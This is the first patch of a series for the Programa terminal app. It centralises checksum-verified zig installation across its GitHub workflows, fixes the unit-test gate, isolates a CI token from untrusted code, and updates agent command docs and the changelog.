From 9255c642e685a6819bf529247a0e03d8b78749db Mon Sep 17 00:00:00 2001 From: arzafran Date: Thu, 1 Oct 2026 12:27:12 -0300 Subject: [PATCH 01/21] ci: verify zig downloads, fix unit-tests gate, and refresh docs --- .claude/commands/pull.md | 16 +-- .claude/commands/release.md | 9 +- .claude/commands/sync-branch.md | 32 ++--- .github/pull_request_template.md | 2 +- .github/workflows/build-ghosttykit.yml | 34 ++--- .github/workflows/ci-macos-compat.yml | 27 ++-- .github/workflows/ci.yml | 114 ++++++++++------- .github/workflows/release.yml | 41 +----- .github/workflows/test-depot.yml | 15 +-- .github/workflows/test-e2e.yml | 50 ++++---- CHANGELOG.md | 22 ++++ CLAUDE.md | 30 ++++- CONTRIBUTING.md | 36 +----- README.md | 18 +-- core/ABI.md | 22 ++-- core/Cargo.lock | 8 -- core/Cargo.toml | 5 +- core/TERMINAL_ABI.md | 14 +- core/crates/programa-ffi/src/lib.rs | 81 ++++++++++++ core/crates/programa-terminal/src/lib.rs | 46 +++++++ core/crates/programad/Cargo.toml | 2 - core/crates/programad/src/pty.rs | 13 -- core/crates/programad/src/server.rs | 4 +- core/crates/programad/tests/integration.rs | 2 +- core/docs/programad.md | 5 +- docs/README.md | 2 +- docs/agent-skill.md | 2 +- docs/aside-browser.md | 4 +- docs/environment-variables.md | 19 +-- docs/keyboard-shortcuts.md | 13 +- docs/mcp-server.md | 2 +- docs/notifications.md | 75 ++++------- .../browser-developer-tools.md | 8 +- docs/plans/core-seam.md | 6 +- docs/plans/detached-sessions.md | 9 +- docs/plans/diff-review-panel.md | 2 +- ...native-frontends-shared-core-2026-09-16.md | 2 +- docs/plans/rust-core-concepts.md | 2 +- docs/plans/rust-core-spike.md | 4 +- docs/plans/settings-mcp-tools.md | 2 +- docs/release.md | 5 +- docs/removed/README.md | 1 - docs/removed/ssh-remote-workspaces.md | 2 +- docs/settings-json.md | 20 +-- docs/socket-api.md | 53 ++++++-- docs/testing-layout.md | 13 +- docs/windows-testing.md | 4 +- scripts/classify_ci_changes.sh | 15 ++- scripts/install-zig.sh | 113 ++++++++++++++++ scripts/launch-tagged-automation.sh | 21 +-- scripts/publish_rolling_release.sh | 39 ++++-- scripts/reload.sh | 67 +++++++--- scripts/reloads.sh | 13 +- scripts/run-tests-v2.sh | 4 - scripts/unit-test-shard-weights.txt | 73 ++++++++--- tests/test_ci_change_classification.sh | 14 +- tests/test_rolling_release_publication.sh | 11 +- tests_v2/test_ctrl_interactive.py | 121 ------------------ windows/Programa/Strings/en-US/Resources.resw | 1 + windows/Programa/Strings/ja-JP/Resources.resw | 1 + windows/Programa/TerminalView.cs | 31 ++++- 61 files changed, 825 insertions(+), 597 deletions(-) rename docs/{removed => plans}/browser-developer-tools.md (92%) create mode 100755 scripts/install-zig.sh delete mode 100755 tests_v2/test_ctrl_interactive.py diff --git a/.claude/commands/pull.md b/.claude/commands/pull.md index d64071ede..80a45f1d7 100644 --- a/.claude/commands/pull.md +++ b/.claude/commands/pull.md @@ -1,16 +1,12 @@ # Pull -Pull latest main and update all submodules to their latest remote main. No commits, no pushes. +Pull latest main and check out the submodule commits main pins. No commits, no pushes. ## Steps 1. `git pull origin main` -2. For each submodule (ghostty): - - `cd ` - - `git fetch origin` - - Check if behind: `git rev-list HEAD..origin/main --count` - - If behind, merge: `git merge origin/main --no-edit` - - Do NOT push. We only land submodule changes via PRs. - - Go back to repo root -3. `git submodule update --init --recursive` -4. Report: current commit, which submodules were updated and by how many commits +2. `git submodule update --init --recursive` + - This checks out the exact `ghostty` commit the parent repo pins. Never merge the fork's + `main` into `ghostty/`: it is far ahead of the pin, and moving the pin pulls in unrelated + upstream changes (see `docs/ghostty-fork.md`). +3. Report: current commit, and whether the `ghostty` pin changed (`git diff HEAD@{1} --stat -- ghostty`) diff --git a/.claude/commands/release.md b/.claude/commands/release.md index 4fcca7878..800f52e4e 100644 --- a/.claude/commands/release.md +++ b/.claude/commands/release.md @@ -7,7 +7,7 @@ completing with `conclusion: success`). There is no nightly/beta channel and no step for ordinary changes — merge to `main`, let CI go green, and the release ships itself. This command is only for **milestone marketing-version bumps** (e.g. `0.15.0` → `0.16.0`), which -are still done manually via a PR + optional `vX.Y.Z` tag marker. +are still done manually via a PR, with an optional `vX.Y.Z` tag as a marker. ## When to use this @@ -43,14 +43,13 @@ are still done manually via a PR + optional `vX.Y.Z` tag marker. - **Only include changes that affect the end-user experience** - things users will see, feel, or interact with - Write clear, user-facing descriptions (not raw commit messages) - **Credit contributors inline** (see Contributor Credits below) - - Also update the docs changelog page at `web/app/docs/changelog/page.tsx` with the same content - If there are no user-facing changes, ask the user if they still want to bump the version 5. **Bump the version** - Run `./scripts/bump-version.sh` (bumps minor by default; accepts `patch`, `major`, or an explicit version) 6. **Commit and push the release branch** - - Stage: `CHANGELOG.md`, `web/app/docs/changelog/page.tsx`, `GhosttyTabs.xcodeproj/project.pbxproj` + - Stage: `CHANGELOG.md`, `GhosttyTabs.xcodeproj/project.pbxproj` - Commit message: `Bump version to X.Y.Z` - Push: `git push -u origin release/vX.Y.Z` @@ -76,8 +75,8 @@ are still done manually via a PR + optional `vX.Y.Z` tag marker. git tag vX.Y.Z git push origin vX.Y.Z ``` - - This also triggers `release.yml` via its `push: tags: v*` trigger, publishing under that - exact tag. + - The tag is only a marker: `release.yml` runs on green `CI` for `main`, not on tags, so + pushing it publishes nothing. 11. **Monitor the release workflow** - Watch: `gh run watch --repo darkroomengineering/programa` diff --git a/.claude/commands/sync-branch.md b/.claude/commands/sync-branch.md index 12329693d..184433198 100644 --- a/.claude/commands/sync-branch.md +++ b/.claude/commands/sync-branch.md @@ -1,39 +1,33 @@ # Sync Branch -Get the current branch ready: update all submodules to their latest remote main, merge from main, and rebase. +Get the current branch ready: update main, rebase onto it, and check out the submodule commits main pins. **Important: Never push automatically. Always ask the user before any push.** ## Steps -1. **Update submodules to latest** - - For each submodule (ghostty): - - `cd ` - - `git fetch origin` - - Check if behind: `git rev-list HEAD..origin/main --count` - - If behind, merge: `git merge origin/main --no-edit` - - Do NOT push submodules. We only land submodule changes via PRs. - - Go back to repo root - -2. **Commit submodule updates on main** +1. **Update main** - `git checkout main && git pull origin main` - - Check if any submodules changed: `git diff --name-only` (look for submodule paths) - - If changed, stage and commit: `git add ghostty && git commit -m "Update submodules: "` - - **Do not push.** Ask the user if they want to push. -3. **Rebase current branch on main** +2. **Rebase current branch on main** - `git checkout ` - `git rebase main` - If conflicts, resolve them and continue - **Do not push.** Ask the user if they want to force-push the rebased branch. +3. **Check out pinned submodules** + - `git submodule update --init --recursive` + - This checks out the exact `ghostty` commit the branch pins. Never merge the fork's `main` + into `ghostty/` to "update" it: the fork's `main` is far ahead of the pin, and moving the + pin pulls in unrelated upstream changes. Ghostty changes follow `docs/ghostty-fork.md`. + 4. **Report status** - - Show what submodules were updated and by how many commits + - Show whether the `ghostty` pin differs from main - Show if rebase was clean or had conflicts - Show current branch and commit ## Notes -- Never commit a submodule pointer in the parent repo unless the submodule commit is reachable from the submodule's remote main (per CLAUDE.md pitfall about orphaned commits) -- If no submodules need updating and main has no new commits, just say "Already up to date" -- If on main already, skip step 3 +- Never commit a submodule pointer in the parent repo unless the submodule commit is pushed to the fork (per CLAUDE.md pitfall about orphaned commits) +- If main has no new commits, just say "Already up to date" +- If on main already, skip step 2 diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md index 8e1723cdc..c209fd5ab 100644 --- a/.github/pull_request_template.md +++ b/.github/pull_request_template.md @@ -25,7 +25,7 @@ For UI or behavior changes, include a short demo video (GitHub upload, Loom, or ## Checklist -- [ ] I tested the change locally +- [ ] Tested via CI and, for UI or behavior changes, a tagged build (`./scripts/reload.sh --tag `) - [ ] I added or updated tests for behavior changes - [ ] I updated docs/changelog if needed - [ ] I requested bot reviews after my latest commit (copy/paste block above or equivalent) diff --git a/.github/workflows/build-ghosttykit.yml b/.github/workflows/build-ghosttykit.yml index c4c38601a..0830b3161 100644 --- a/.github/workflows/build-ghosttykit.yml +++ b/.github/workflows/build-ghosttykit.yml @@ -13,7 +13,8 @@ on: - "scripts/ensure-ghosttykit.sh" - "scripts/required-zig-version.sh" - "scripts/download-prebuilt-ghosttykit.sh" - - "scripts/update-ghosttykit.sh" + - "scripts/install-zig.sh" + - "scripts/zig-macos-aarch64.sha256" - ".github/workflows/build-ghosttykit.yml" pull_request: paths: @@ -25,7 +26,8 @@ on: - "scripts/ensure-ghosttykit.sh" - "scripts/required-zig-version.sh" - "scripts/download-prebuilt-ghosttykit.sh" - - "scripts/update-ghosttykit.sh" + - "scripts/install-zig.sh" + - "scripts/zig-macos-aarch64.sha256" - ".github/workflows/build-ghosttykit.yml" concurrency: @@ -85,6 +87,20 @@ jobs: export DEVELOPER_DIR="$XCODE_DIR" xcodebuild -version + - name: Resolve zig version + if: steps.check-release.outputs.exists == 'false' + id: zig-version + run: printf 'version=%s\n' "$(./scripts/required-zig-version.sh)" >> "$GITHUB_OUTPUT" + + # install-zig.sh re-checks the tarball against scripts/zig-macos-aarch64.sha256 + # on every run, so a cache hit never skips the checksum. + - name: Cache zig toolchain tarball + if: steps.check-release.outputs.exists == 'false' + uses: actions/cache@5a3ec84eff668545956fd18022155c47e93e2684 # v4 + with: + path: ~/.cache/programa-zig-dist + key: zig-dist-macos-arm64-${{ steps.zig-version.outputs.version }} + - name: Cache Zig packages if: steps.check-release.outputs.exists == 'false' uses: actions/cache@5a3ec84eff668545956fd18022155c47e93e2684 # v4 @@ -97,19 +113,7 @@ jobs: if: steps.check-release.outputs.exists == 'false' run: | set -euo pipefail - ZIG_REQUIRED="$(./scripts/required-zig-version.sh)" - if command -v zig >/dev/null 2>&1 && [ "$(zig version 2>/dev/null)" = "$ZIG_REQUIRED" ]; then - echo "zig ${ZIG_REQUIRED} already installed" - else - echo "Installing zig ${ZIG_REQUIRED} from tarball" - curl -fSL "https://ziglang.org/download/${ZIG_REQUIRED}/zig-aarch64-macos-${ZIG_REQUIRED}.tar.xz" -o /tmp/zig.tar.xz - tar xf /tmp/zig.tar.xz -C /tmp - sudo mkdir -p /usr/local/bin /usr/local/lib - sudo cp -f /tmp/zig-aarch64-macos-${ZIG_REQUIRED}/zig /usr/local/bin/zig - sudo cp -rf /tmp/zig-aarch64-macos-${ZIG_REQUIRED}/lib /usr/local/lib/zig - export PATH="/usr/local/bin:$PATH" - zig version - fi + ./scripts/install-zig.sh cd ghostty && zig build -Demit-xcframework=true -Demit-macos-app=false -Dxcframework-target=native -Doptimize=ReleaseFast - name: Package xcframework diff --git a/.github/workflows/ci-macos-compat.yml b/.github/workflows/ci-macos-compat.yml index 42409f339..08c859d08 100644 --- a/.github/workflows/ci-macos-compat.yml +++ b/.github/workflows/ci-macos-compat.yml @@ -97,21 +97,20 @@ jobs: path: GhosttyKit.xcframework key: ghosttykit-v3-${{ steps.ghostty-revision.outputs.revision }} + - name: Resolve zig version + id: zig-version + run: printf 'version=%s\n' "$(./scripts/required-zig-version.sh)" >> "$GITHUB_OUTPUT" + + # install-zig.sh re-checks the tarball against scripts/zig-macos-aarch64.sha256 + # on every run, so a cache hit never skips the checksum. + - name: Cache zig toolchain tarball + uses: actions/cache@5a3ec84eff668545956fd18022155c47e93e2684 # v4 + with: + path: ~/.cache/programa-zig-dist + key: zig-dist-macos-arm64-${{ steps.zig-version.outputs.version }} + - name: Set up required Zig - run: | - ZIG_REQUIRED="$(./scripts/required-zig-version.sh)" - if command -v zig >/dev/null 2>&1 && [ "$(zig version 2>/dev/null)" = "$ZIG_REQUIRED" ]; then - echo "zig ${ZIG_REQUIRED} already installed" - else - echo "Installing zig ${ZIG_REQUIRED} from tarball" - curl -fSL "https://ziglang.org/download/${ZIG_REQUIRED}/zig-aarch64-macos-${ZIG_REQUIRED}.tar.xz" -o /tmp/zig.tar.xz - tar xf /tmp/zig.tar.xz -C /tmp - sudo mkdir -p /usr/local/bin /usr/local/lib - sudo cp -f /tmp/zig-aarch64-macos-${ZIG_REQUIRED}/zig /usr/local/bin/zig - sudo cp -rf /tmp/zig-aarch64-macos-${ZIG_REQUIRED}/lib /usr/local/lib/zig - export PATH="/usr/local/bin:$PATH" - zig version - fi + run: ./scripts/install-zig.sh - name: Download pre-built GhosttyKit.xcframework if: steps.cache-ghosttykit.outputs.cache-hit != 'true' diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index befdc8b76..558a84c4b 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -390,21 +390,20 @@ jobs: run: | ./scripts/download-prebuilt-ghosttykit.sh + - name: Resolve zig version + id: zig-version + run: printf 'version=%s\n' "$(./scripts/required-zig-version.sh)" >> "$GITHUB_OUTPUT" + + # install-zig.sh re-checks the tarball against scripts/zig-macos-aarch64.sha256 + # on every run, so a cache hit never skips the checksum. + - name: Cache zig toolchain tarball + uses: actions/cache@5a3ec84eff668545956fd18022155c47e93e2684 # v4 + with: + path: ~/.cache/programa-zig-dist + key: zig-dist-macos-arm64-${{ steps.zig-version.outputs.version }} + - name: Install zig - run: | - ZIG_REQUIRED="$(./scripts/required-zig-version.sh)" - if command -v zig >/dev/null 2>&1 && [ "$(zig version 2>/dev/null)" = "$ZIG_REQUIRED" ]; then - echo "zig ${ZIG_REQUIRED} already installed" - else - echo "Installing zig ${ZIG_REQUIRED} from tarball" - curl -fSL "https://ziglang.org/download/${ZIG_REQUIRED}/zig-aarch64-macos-${ZIG_REQUIRED}.tar.xz" -o /tmp/zig.tar.xz - tar xf /tmp/zig.tar.xz -C /tmp - sudo mkdir -p /usr/local/bin /usr/local/lib - sudo cp -f /tmp/zig-aarch64-macos-${ZIG_REQUIRED}/zig /usr/local/bin/zig - sudo cp -rf /tmp/zig-aarch64-macos-${ZIG_REQUIRED}/lib /usr/local/lib/zig - export PATH="/usr/local/bin:$PATH" - zig version - fi + run: ./scripts/install-zig.sh - name: Cache Zig packages uses: actions/cache@5a3ec84eff668545956fd18022155c47e93e2684 # v4 @@ -413,6 +412,16 @@ jobs: key: zig-packages-${{ hashFiles('ghostty/build.zig.zon', 'ghostty/build.zig.zon.json') }} restore-keys: zig-packages- + # The "Copy Ghostty Resources" build phase compiles the Ghostty CLI helper + # (Resources/bin/ghostty) with zig. zig's local cache turns that into a + # no-op while the ghostty revision and zig version stay the same. No + # restore-keys: an exact key keeps the cache from accumulating old builds. + - name: Cache Ghostty CLI helper build + uses: actions/cache@5a3ec84eff668545956fd18022155c47e93e2684 # v4 + with: + path: ghostty/.zig-cache + key: ghostty-cli-helper-${{ steps.ghostty-revision.outputs.revision }}-zig${{ steps.zig-version.outputs.version }} + - name: Cache DerivedData uses: actions/cache@5a3ec84eff668545956fd18022155c47e93e2684 # v4 with: @@ -496,6 +505,11 @@ jobs: PROGRAMA_DERIVED_DATA_DIR: ${{ github.workspace }}/.ci-derived-data-unit-${{ matrix.shard }} PROGRAMA_UNIT_TEST_SHARD: ${{ matrix.shard }} PROGRAMA_UNIT_TEST_SHARD_COUNT: 2 + # No unit test runs the Ghostty CLI helper (Resources/bin/ghostty), so the + # shards take the build script's stub instead of compiling it with zig. + # build-app still builds the real helper; its artifact feeds the jobs that + # do run it (theme-picker-helper-regression, socket and UI tests). + PROGRAMA_SKIP_ZIG_BUILD: "1" steps: - name: Checkout uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4 @@ -524,8 +538,9 @@ jobs: sudo xcode-select -s "$XCODE_DIR" || true xcodebuild -version - - name: Verify native tab-strip hit testing - run: swift test --package-path vendor/bonsplit --filter BonsplitTests/testTabBarDragZoneUsesSuperviewCoordinatesAndYieldsToControls + - name: Run Bonsplit package tests + if: matrix.shard == 2 + run: swift test --package-path vendor/bonsplit - name: Validate Release reload artifact discovery run: ./tests/test_reloadp_programa_artifact.sh @@ -558,28 +573,6 @@ jobs: run: | ./scripts/download-prebuilt-ghosttykit.sh - - name: Install zig - run: | - ZIG_REQUIRED="$(./scripts/required-zig-version.sh)" - if command -v zig >/dev/null 2>&1 && [ "$(zig version 2>/dev/null)" = "$ZIG_REQUIRED" ]; then - echo "zig ${ZIG_REQUIRED} already installed" - else - echo "Installing zig ${ZIG_REQUIRED} from tarball" - curl -fSL "https://ziglang.org/download/${ZIG_REQUIRED}/zig-aarch64-macos-${ZIG_REQUIRED}.tar.xz" -o /tmp/zig.tar.xz - tar xf /tmp/zig.tar.xz -C /tmp - sudo mkdir -p /usr/local/bin /usr/local/lib - sudo cp -f /tmp/zig-aarch64-macos-${ZIG_REQUIRED}/zig /usr/local/bin/zig - sudo cp -rf /tmp/zig-aarch64-macos-${ZIG_REQUIRED}/lib /usr/local/lib/zig - export PATH="/usr/local/bin:$PATH" - zig version - fi - - - name: Cache Zig packages - uses: actions/cache@5a3ec84eff668545956fd18022155c47e93e2684 # v4 - with: - path: ~/.cache/zig - key: zig-packages-${{ hashFiles('ghostty/build.zig.zon', 'ghostty/build.zig.zon.json') }} - restore-keys: zig-packages- - name: Cache DerivedData uses: actions/cache@5a3ec84eff668545956fd18022155c47e93e2684 # v4 @@ -744,17 +737,30 @@ jobs: # Aggregate gate: downstream jobs and branch protection depend on the name # "unit-tests", not on the matrix job above, so sharding stays invisible to # everything that isn't ci.yml itself. + # Shards skipped by change-detection (docs, other workflows) count as a pass; + # a failed or cancelled shard, or a failed change-detection, does not. unit-tests: - needs: unit-tests-shard + needs: + - change-detection + - unit-tests-shard if: always() runs-on: ubuntu-latest steps: - name: Check shard results + env: + DETECTION_RESULT: ${{ needs.change-detection.result }} + RUN_APP_JOBS: ${{ needs.change-detection.outputs.run_app_jobs }} + SHARD_RESULT: ${{ needs.unit-tests-shard.result }} run: | - if [[ "${{ needs.unit-tests-shard.result }}" != "success" ]]; then - echo "unit-tests-shard: ${{ needs.unit-tests-shard.result }}" >&2 - exit 1 + if [[ "$SHARD_RESULT" == "success" ]]; then + exit 0 + fi + if [[ "$SHARD_RESULT" == "skipped" && "$DETECTION_RESULT" == "success" && "$RUN_APP_JOBS" != "true" ]]; then + echo "unit-tests-shard skipped: no app-relevant changes" + exit 0 fi + echo "unit-tests-shard: $SHARD_RESULT (change-detection: $DETECTION_RESULT, run_app_jobs: $RUN_APP_JOBS)" >&2 + exit 1 # Independent of unit-tests: same "programa" scheme app build-app already # produces, so this reuses that artifact instead of paying for its own @@ -1274,7 +1280,9 @@ jobs: cat "$DIAG_PATH" # This runner cannot reliably place the app's window on the virtual - # display being churned (see docs/testing-layout.md). When that + # display being churned: on macos-26 AppKit can move the window off + # it once its mode starts changing. (The churn attaches to the job's + # persistent display because a headless session holds only one.) When that # happens the regression can't be exercised at all: skip rather than # fail so a harness limitation doesn't block CI, but only when the # placement itself failed — a working harness must still fail on a @@ -1376,6 +1384,26 @@ jobs: -only-testing:programaUITests/BrowserPaneNavigationKeybindUITests/testCmdFFocusesBrowserFindFieldAfterCmdDCmdLNavigation \ test-without-building + # Close confirmations guard against losing running processes; they run + # on every main push so a regression shows up one merge later at most. + - name: Run close-confirmation UI regressions + if: github.event_name != 'workflow_dispatch' + timeout-minutes: 25 + run: | + set -euo pipefail + SOURCE_PACKAGES_DIR="$PWD/.ci-source-packages" + xcodebuild -project GhosttyTabs.xcodeproj -scheme programa -configuration Debug \ + -clonedSourcePackagesDirPath "$SOURCE_PACKAGES_DIR" \ + -disableAutomaticPackageResolution \ + -derivedDataPath "$PROGRAMA_DERIVED_DATA_DIR" \ + -destination "platform=macOS" \ + -maximum-test-execution-time-allowance 180 \ + -only-testing:programaUITests/CloseWindowConfirmDialogUITests \ + -only-testing:programaUITests/CloseWorkspaceConfirmDialogUITests \ + -only-testing:programaUITests/CloseWorkspacesConfirmDialogUITests \ + -only-testing:programaUITests/CloseWorkspaceCmdDUITests \ + test-without-building + - name: Run multi-window notification focus UI regression run: | set -euo pipefail diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 778525f3d..50bf2c766 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -166,6 +166,9 @@ jobs: needs.release-identity.result == 'success' && needs.release-identity.outputs.superseded != 'true' runs-on: macos-15 + # Signing, notarization and Sparkle secrets belong to the `release` environment + # (main-only deployment branch policy, configured in repo settings). + environment: release timeout-minutes: 60 env: EFFECTIVE_BUILD: ${{ needs.release-identity.outputs.effective_build }} @@ -210,43 +213,13 @@ jobs: - name: Install build deps run: | - ZIG_REQUIRED="$(./scripts/required-zig-version.sh)" - if command -v zig >/dev/null 2>&1 && [ "$(zig version 2>/dev/null)" = "$ZIG_REQUIRED" ]; then - echo "zig ${ZIG_REQUIRED} already installed" - else - echo "Installing zig ${ZIG_REQUIRED} from tarball" - curl -fSL "https://ziglang.org/download/${ZIG_REQUIRED}/zig-aarch64-macos-${ZIG_REQUIRED}.tar.xz" -o /tmp/zig.tar.xz - ZIG_SHA256="$(awk -v v="$ZIG_REQUIRED" '$1 == v { print $2 }' scripts/zig-macos-aarch64.sha256)" - if [ -z "$ZIG_SHA256" ]; then - echo "No checked-in SHA-256 for zig ${ZIG_REQUIRED}; add it to scripts/zig-macos-aarch64.sha256" >&2 - exit 1 - fi - echo "${ZIG_SHA256} /tmp/zig.tar.xz" | shasum -a 256 -c - - tar xf /tmp/zig.tar.xz -C /tmp - sudo mkdir -p /usr/local/bin /usr/local/lib - sudo cp -f /tmp/zig-aarch64-macos-${ZIG_REQUIRED}/zig /usr/local/bin/zig - sudo cp -rf /tmp/zig-aarch64-macos-${ZIG_REQUIRED}/lib /usr/local/lib/zig - export PATH="/usr/local/bin:$PATH" - zig version - fi + ./scripts/install-zig.sh ./scripts/install-create-dmg.sh - - name: Resolve Ghostty revision - id: ghostty-revision - run: | - set -euo pipefail - revision="$(./scripts/ghostty_cache_revision.sh)" - printf 'revision=%s\n' "$revision" >> "$GITHUB_OUTPUT" - - - name: Cache GhosttyKit.xcframework - id: cache-ghosttykit-release - uses: actions/cache@5a3ec84eff668545956fd18022155c47e93e2684 # v4 - with: - path: GhosttyKit.xcframework - key: ghosttykit-v3-${{ steps.ghostty-revision.outputs.revision }} - + # Always download and checksum GhosttyKit here instead of restoring the CI + # cache: the pinned SHA-256 covers the archive, not an extracted tree, so a + # cached tree cannot be re-verified before it is signed and shipped. - name: Download pre-built GhosttyKit.xcframework - if: steps.cache-ghosttykit-release.outputs.cache-hit != 'true' run: | ./scripts/download-prebuilt-ghosttykit.sh diff --git a/.github/workflows/test-depot.yml b/.github/workflows/test-depot.yml index 6ad413933..21299aadf 100644 --- a/.github/workflows/test-depot.yml +++ b/.github/workflows/test-depot.yml @@ -67,20 +67,7 @@ jobs: run: ./scripts/download-prebuilt-ghosttykit.sh - name: Install zig - run: | - ZIG_REQUIRED="$(./scripts/required-zig-version.sh)" - if command -v zig >/dev/null 2>&1 && [ "$(zig version 2>/dev/null)" = "$ZIG_REQUIRED" ]; then - echo "zig ${ZIG_REQUIRED} already installed" - else - echo "Installing zig ${ZIG_REQUIRED} from tarball" - curl -fSL "https://ziglang.org/download/${ZIG_REQUIRED}/zig-aarch64-macos-${ZIG_REQUIRED}.tar.xz" -o /tmp/zig.tar.xz - tar xf /tmp/zig.tar.xz -C /tmp - sudo mkdir -p /usr/local/bin /usr/local/lib - sudo cp -f /tmp/zig-aarch64-macos-${ZIG_REQUIRED}/zig /usr/local/bin/zig - sudo cp -rf /tmp/zig-aarch64-macos-${ZIG_REQUIRED}/lib /usr/local/lib/zig - export PATH="/usr/local/bin:$PATH" - zig version - fi + run: ./scripts/install-zig.sh - name: Create virtual display run: | diff --git a/.github/workflows/test-e2e.yml b/.github/workflows/test-e2e.yml index 49367327a..515e0bd6d 100644 --- a/.github/workflows/test-e2e.yml +++ b/.github/workflows/test-e2e.yml @@ -36,6 +36,11 @@ jobs: e2e: runs-on: ${{ inputs.runner || 'macos-15' }} timeout-minutes: 20 + outputs: + sha: ${{ steps.sha.outputs.sha }} + test_result: ${{ steps.tests.outputs.test_result }} + test_summary: ${{ steps.tests.outputs.test_summary }} + test_output: ${{ steps.tests.outputs.test_output }} env: TEST_REF: ${{ inputs.ref || github.ref }} steps: @@ -76,20 +81,7 @@ jobs: run: ./scripts/download-prebuilt-ghosttykit.sh - name: Install zig - run: | - ZIG_REQUIRED="$(./scripts/required-zig-version.sh)" - if command -v zig >/dev/null 2>&1 && [ "$(zig version 2>/dev/null)" = "$ZIG_REQUIRED" ]; then - echo "zig ${ZIG_REQUIRED} already installed" - else - echo "Installing zig ${ZIG_REQUIRED} from tarball" - curl -fSL "https://ziglang.org/download/${ZIG_REQUIRED}/zig-aarch64-macos-${ZIG_REQUIRED}.tar.xz" -o /tmp/zig.tar.xz - tar xf /tmp/zig.tar.xz -C /tmp - sudo mkdir -p /usr/local/bin /usr/local/lib - sudo cp -f /tmp/zig-aarch64-macos-${ZIG_REQUIRED}/zig /usr/local/bin/zig - sudo cp -rf /tmp/zig-aarch64-macos-${ZIG_REQUIRED}/lib /usr/local/lib/zig - export PATH="/usr/local/bin:$PATH" - zig version - fi + run: ./scripts/install-zig.sh - name: Create virtual display if: ${{ inputs.test_filter != 'DisplayResolutionRegressionUITests' }} @@ -153,8 +145,10 @@ jobs: - name: Clean DerivedData run: rm -rf ~/Library/Developer/Xcode/DerivedData/GhosttyTabs-* - - name: Cache Swift packages - uses: actions/cache@5a3ec84eff668545956fd18022155c47e93e2684 # v4 + # Restore only: this job builds an arbitrary dispatched ref, so it must not + # write caches that main and release runs later restore. + - name: Restore Swift packages cache + uses: actions/cache/restore@5a3ec84eff668545956fd18022155c47e93e2684 # v4 with: path: .ci-source-packages key: spm-${{ inputs.runner || 'macos-15' }}-${{ hashFiles('GhosttyTabs.xcodeproj/project.xcworkspace/xcshareddata/swiftpm/Package.resolved') }} @@ -371,18 +365,27 @@ jobs: path: /tmp/test-recording.mp4 if-no-files-found: warn + # The token never reaches a job that ran the dispatched ref's code: that code + # could rewrite $GITHUB_PATH or $GITHUB_ENV and capture it. + post-results: + needs: e2e + if: always() + runs-on: ubuntu-latest + timeout-minutes: 5 + steps: - name: Post results to programa-dev-artifacts - if: always() continue-on-error: true env: GH_TOKEN: ${{ secrets.DEV_ARTIFACTS_TOKEN }} - TEST_RESULT: ${{ steps.tests.outputs.test_result || 'failed' }} - TEST_SUMMARY: ${{ steps.tests.outputs.test_summary }} - TEST_OUTPUT: ${{ steps.tests.outputs.test_output }} + TEST_RESULT: ${{ needs.e2e.outputs.test_result || 'failed' }} + TEST_SUMMARY: ${{ needs.e2e.outputs.test_summary }} + TEST_OUTPUT: ${{ needs.e2e.outputs.test_output }} TEST_FILTER: ${{ inputs.test_filter }} - COMMIT_SHA: ${{ steps.sha.outputs.sha }} + COMMIT_SHA: ${{ needs.e2e.outputs.sha }} RUN_ID: ${{ github.run_id }} RECORD_VIDEO: ${{ inputs.record_video }} + REF_DISPLAY: ${{ inputs.ref || github.ref_name }} + REPOSITORY: ${{ github.repository }} run: | set -euo pipefail @@ -393,13 +396,12 @@ jobs: STATUS_EMOJI="FAILED" fi - REF_DISPLAY="${{ inputs.ref || github.ref_name }}" - RUN_URL="https://github.com/${{ github.repository }}/actions/runs/$RUN_ID" + RUN_URL="https://github.com/$REPOSITORY/actions/runs/$RUN_ID" ARTIFACT_URL="$RUN_URL#artifacts" BODY="**Status:** $STATUS_EMOJI **Ref:** \`$REF_DISPLAY\` - **SHA:** [\`${COMMIT_SHA:0:12}\`](https://github.com/${{ github.repository }}/commit/$COMMIT_SHA) + **SHA:** [\`${COMMIT_SHA:0:12}\`](https://github.com/$REPOSITORY/commit/$COMMIT_SHA) **Test:** \`$TEST_FILTER\` **Workflow run:** $RUN_URL" diff --git a/CHANGELOG.md b/CHANGELOG.md index 175991c91..b693f9903 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -8,10 +8,32 @@ Programa is a fork of [cmux](https://github.com/manaflow-ai/cmux); for history p ### Added - New `agent.needs_input` socket method reports a surface as blocked on the user and posts its notification in one call, instead of three separate calls that could fail independently. +- Tab colors and the Tab Color menu in the glass tab bar; pane tabs show their color as a tinted background. +- `programa wait-surface --agent-state ` waits for the agent in a surface to reach a state. +- On Windows, pasting text with line breaks or control characters into a program that has not turned on bracketed paste (cmd.exe, PowerShell) asks first, with a preview. ### Changed +- Only one copy of Programa runs at a time: launching a second copy brings the running app forward and exits. +- Closing a window with its red button or Close Window asks first when any of its workspaces has a running process, with the same confirmation as closing the last workspace. The socket method `window.close` still closes without asking. +- Splitting a pane or opening a pane from the socket or CLI no longer moves focus; only explicit focus commands do. +- Opening another app from a web page or a terminal link asks first, per link scheme. +- A program that writes to the clipboard with OSC 52 asks before the clipboard changes. +- Browser cookie methods act on the current page's site by default; `all_domains: true` widens them, and a `domain` filter matches the exact host or its subdomains only. `browser.state.save` writes its file with `0600` permissions to an absolute path and exports only the current site's cookies unless asked for more. +- Socket errors are consistent: a reference that does not resolve returns `not_found` (a malformed one stays `invalid_params`), splitting a workspace that already has four panes returns `limit_reached` before anything is created, and closing a window's last workspace returns `invalid_state`. +- `surface.send_text` and `agent.prompt` report `"queued": true` when the text waits for a terminal that is not attached yet. `surface.wait` resolves with `"outcome": "closed"` when its surface closes, caps `timeout_ms` at one hour, and rejects `exit` on a browser surface. +- A workspace's `agent_state` counts only helpers that are still running; finished helpers are counted in the new `helper_outcomes` field of `workspace.list` and `system.tree`. +- Password mode closes a connection after five failed `auth.login` attempts and compares the password in constant time. +- Agent hooks fail open: outside Programa, or when the app is not reachable, they answer the agent normally and let it continue. The Codex installer keeps everything it writes to `config.toml` inside one `# BEGIN programa` block. +- Agent integration installers exit with a non-zero status when they fail. +- CLI commands accept `--flag=value` as well as `--flag value`. +- The tmux shim's `resize-pane` counts terminal cells, `capture-pane` shows the visible screen, and `send-keys` 